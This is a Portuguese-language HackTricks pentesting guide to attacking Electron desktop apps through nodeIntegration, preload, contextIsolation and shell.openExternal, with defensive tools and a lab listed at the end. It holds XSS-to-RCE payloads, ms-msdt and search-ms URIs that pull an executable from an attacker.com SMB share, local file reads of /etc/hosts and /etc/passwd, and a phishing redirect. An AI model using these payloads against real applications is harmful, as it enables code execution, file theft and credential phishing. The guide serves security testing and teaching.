hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

19 KiB

Aplicativos de Desktop Electron

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introdução

O Electron é baseado no Chromium, mas não é um navegador. Certos princípios e mecanismos de segurança implementados por navegadores modernos não estão presentes.
Você pode ver o Electron como um aplicativo local de backend+frontend onde o NodeJS é o backend e o chromium é o frontend.

Normalmente, você pode encontrar o código do aplicativo Electron dentro de um aplicativo .asar, para obter o código, você precisa extraí-lo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.

{
"name": "standard-notes",
"main": "./app/index.js",

O Electron possui 2 tipos de processos:

  • Processo Principal (tem acesso completo ao NodeJS)
  • Processo Renderizador (deve ter acesso restrito ao NodeJS por motivos de segurança)

Um processo renderizador será uma janela do navegador carregando um arquivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações irão prevenir que a aplicação Electron seja vulnerável a RCE ou outras vulnerabilidades se as configurações forem corretamente configuradas.

A aplicação desktop pode ter acesso ao dispositivo do usuário por meio das APIs do Node. As duas configurações a seguir são responsáveis por fornecer mecanismos para prevenir que o JavaScript da aplicação tenha acesso direto ao dispositivo do usuário e comandos de nível do sistema.

  • nodeIntegration - está desativado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.
  • contextIsolation - está ativado por padrão. Se ativado, os processos principal e de renderização não estão isolados.
  • preload - vazio por padrão.
  • sandbox - está desativado por padrão. Ele restringirá as ações que o NodeJS pode executar.
  • Integração do Node em Workers
  • nodeIntegrationInSubframes - está desativado por padrão.
  • Se a nodeIntegration estiver habilitada, isso permitirá o uso das APIs do Node.js em páginas da web que são carregadas em iframes dentro de uma aplicação Electron.
  • Se a nodeIntegration estiver desabilitada, então os preloads serão carregados no iframe.

Exemplo de configuração:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alguns cargas RCE de aqui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capturar tráfego

Modifique a configuração start-main e adicione o uso de um proxy, como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injeção Local de Código no Electron

Se você puder executar localmente um aplicativo Electron, é possível que você possa fazê-lo executar código JavaScript arbitrário. Verifique como em:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar facilmente recursos do Node.js apenas chamando o require(). Por exemplo, a maneira de executar o aplicativo calc no Windows é:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

O script indicado nesta configuração é carregado antes de outros scripts no renderizador, portanto, ele tem acesso ilimitado às APIs do Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Portanto, o script pode exportar recursos do nó para páginas:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Se contextIsolation estiver ativado, isso não funcionará {% endhint %}

RCE: XSS + contextIsolation

O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno JavaScript do Electron para que a execução do JavaScript de cada código não afete um ao outro. Essa é uma característica necessária para eliminar a possibilidade de RCE.

Se os contextos não estiverem isolados, um invasor pode:

  1. Executar JavaScript arbitrário no renderizador (XSS ou navegação para sites externos)
  2. Sobrescrever o método embutido que é usado no código de pré-carregamento ou no código interno do Electron para uma função própria
  3. Disparar o uso da função sobrescrita
  4. RCE?

Existem 2 lugares onde os métodos embutidos podem ser sobrescritos: no código de pré-carregamento ou no código interno do Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Bypassar evento de clique

Se houver restrições aplicadas quando você clica em um link, talvez seja possível contorná-las fazendo um clique do meio em vez de um clique esquerdo regular.

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Se a aplicação de desktop Electron for implantada com as configurações adequadas de nodeIntegration e contextIsolation, isso significa simplesmente que a execução remota de código (RCE) do lado do cliente, direcionando scripts de pré-carregamento ou código nativo do Electron do processo principal, não pode ser alcançada.

Cada vez que um usuário clica no link ou abre uma nova janela, os seguintes ouvintes de eventos são invocados:

{% code overflow="wrap" %}

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

{% endcode %}

A aplicação de desktop substitui esses ouvintes para implementar a própria lógica de negócios da aplicação de desktop. Durante a criação de novas janelas, a aplicação verifica se o link navegado deve ser aberto em uma janela ou guia da aplicação de desktop, ou se deve ser aberto no navegador da web. Em nosso exemplo, a verificação é implementada com a função openInternally, se ela retornar false, a aplicação assumirá que o link deve ser aberto no navegador da web usando a função shell.openExternal.

Aqui está um pseudocódigo simplificado:

De acordo com as melhores práticas de segurança do Electron JS, a função openExternal não deve aceitar conteúdo não confiável porque isso poderia levar a RCE abusando de diferentes protocolos se a aplicação não limitar a navegação dos usuários por meio de protocolos como https:// ou http://.

Diferentes sistemas operacionais suportam diferentes protocolos que podem acionar RCE, para mais informações sobre eles, verifique https://positive.security/blog/url-open-rce, mas aqui estão alguns exemplos do Windows:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Para mais informações sobre esses exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Ler arquivos internos: XSS + contextIsolation

Se contextIsolation estiver definido como falso, você pode tentar usar <webview> (semelhante a <iframe>, mas pode carregar arquivos locais) para ler arquivos locais e exfiltrá-los: usando algo como <webview src=”file:///etc/passwd”></webview>:

Outra maneira de ler um arquivo interno está disponível neste artigo:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antigo

Se o chromium usado pelo aplicativo for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE por meio de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Bypass de Regex de URL Interna

Supondo que você encontrou um XSS, mas não consegue acionar RCE ou roubar arquivos internos, você pode tentar usá-lo para roubar credenciais por meio de phishing.

Primeiro, você precisa saber o que acontece quando você tenta abrir uma nova URL, verificando o código JS no front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

A chamada para openInternally irá decidir se o link será aberto na janela do aplicativo desktop, pois é um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.

No caso em que a expressão regular usada pela função for vulnerável a bypasses (por exemplo, não escapando os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estaria localizada na infraestrutura do atacante solicitando credenciais ao usuário:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Ferramentas

  • Electronegativity é uma ferramenta para identificar configurações incorretas e padrões de segurança inadequados em aplicativos baseados em Electron.
  • Electrolint é um plugin de código aberto para o VS Code para aplicativos Electron que utiliza o Electronegativity.
  • nodejsscan para verificar bibliotecas de terceiros vulneráveis.
  • Electro.ng: Você precisa comprá-lo.

Laboratórios

No https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s, você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.

Alguns comandos que irão ajudá-lo com o laboratório:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥